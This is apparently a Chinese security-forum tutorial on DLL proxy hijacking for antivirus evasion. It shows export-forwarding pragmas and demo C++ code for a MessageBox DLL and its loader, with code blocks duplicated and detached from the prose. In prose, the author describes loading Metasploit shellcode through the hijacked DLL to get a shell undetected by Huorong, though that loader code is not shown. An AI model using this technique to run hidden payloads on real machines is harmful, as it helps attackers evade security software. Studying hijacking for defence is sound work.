-
-
[原创]DLL劫持-免杀
-
发表于: 2020-11-22 17:47
-
小白初试，大佬轻喷
举个简单的例子，一个程序A调用了d.dll中的某些函数.我现在修改d.dll的名字变成d-org.dll。然后我写再写一个d.dll的文件，将原本d.dll中的函数转发到d-org.dll上。实际上就是多了一个中间商
就和开了代理一样，我一样从本机连到网站，只是中间走了一个代理
既然走了代理，那我们就可以在这个“代理商”这里做点手脚。比如夹带私货等等
道理都懂，但是怎么转发dll函数
最朴素的思路是什么？那无疑是直接LoadLibray直接导入原来的dll，然后对
应的写一个相同的函数名，然后GetProcAddress导入对应函数名的函数
这样可以做到，但是很麻烦，而且低效率，一个更高效的做法是利用#program这条预编译命令
比如，我新的d.dll要转发d-org.dll中的一个msg的函数
在dll文件中添加一条
我是用vs2019写x64,release模式
要建3个项目，一个是可执行文件hello.exe(相当于a.exe),一个是dll-1.dll,一个是dll-2.dll
dll-2.dll是为了转发dll-1.dll中的函数
先写dll-1，写个简单的messagebox
记得在头文件framework.h中导出这个函数
然后写个调用这个dll的hello.exe
这个时候运行这个程序就回显示这个dll调用成功
然后来编写一个劫持的dll，也就是来转发函数的dll2
在导入我这个dll的时候我弹出一个劫持成功的弹窗
注意到预编译指令是
转发的dll名字是dll-1org，这是我决定把dll-1改名成dll-1org了，所以写死在dll-2中，毕竟等下要将dll-2改名成dll-1，这样程序才会调用我的dll
这时候不是在vs中跑，我把这个3个文件放到同目录的地方，然后运行hello.exe
表示我成功劫持了，思路也很简单
我不擅长写shellcode，就直接用msf生成shellcode
msf里的shell被各大安全厂家都看的很死的，直接生成exe秒杀，这里不直接生成exe，生成shellcode文件就可以了
继续用上面的例子来
dll-2就不弹窗了，在这个dll中导入shellcode
上面的函数就是读取shellcode，然后申请一块内存，再就执行函数，相当执行shellcode
我不做其他处理，没加上其他免杀操作，此时来执行这个程序
可以看到，msf返回shell了，然儿火绒没有丝毫反应
火绒：你不讲武德
其实很简单，就是dll中申请内存，直接执行shellcode。
我尝试这个写法，程序中直接执行shellcode，会断了
------- -------
- A - - A -
------- -------
| | ----------
call ---> |_____ - new D -
| ----------
------- --------- |
- D - - D-org - ______|
------- ---------
------- -------
- A - - A -
------- -------
| | ----------
call ---> |_____ - new D -
| ----------
------- --------- |
- D - - D-org - ______|
------- ---------
#pragma comment(linker, "/EXPORT:<Function name>=<Dll name>.<Function name>")#pragma comment(linker, "/EXPORT:<Function name>=<Dll name>.<Function name>")#pragma comment(linker, "/EXPORT:msg=d-org.msg")#pragma comment(linker, "/EXPORT:msg=d-org.msg")#include "pch.h"#include <Windows.h>void msg() { MessageBox(0, L"dll-1 load succeed", 0, 0);
}BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}#include "pch.h"#include <Windows.h>void msg() { MessageBox(0, L"dll-1 load succeed", 0, 0);
}BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}#pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件
#include <windows.h>extern "C" __declspec(dllexport) void msg(void);
void msg();#pragma once#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件
#include <windows.h>extern "C" __declspec(dllexport) void msg(void);
void msg();#include <iostream>#include <Windows.h>int main() {
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
HINSTANCE hinst = LoadLibrary(L"Dll-1.dll");
if (hinst != NULL) {
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
}
if (GetDllfunc != NULL) {
(*GetDllfunc)();
}
return 0;
}#include <iostream>#include <Windows.h>int main() {
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
HINSTANCE hinst = LoadLibrary(L"Dll-1.dll");
if (hinst != NULL) {
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");
}
if (GetDllfunc != NULL) {
(*GetDllfunc)();
}
return 0;
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
|
|
|---|---|
|
|
|
|
|
学习了!
|
|
|
|
|
|
|
|
|
 学习了
|
|
|
|
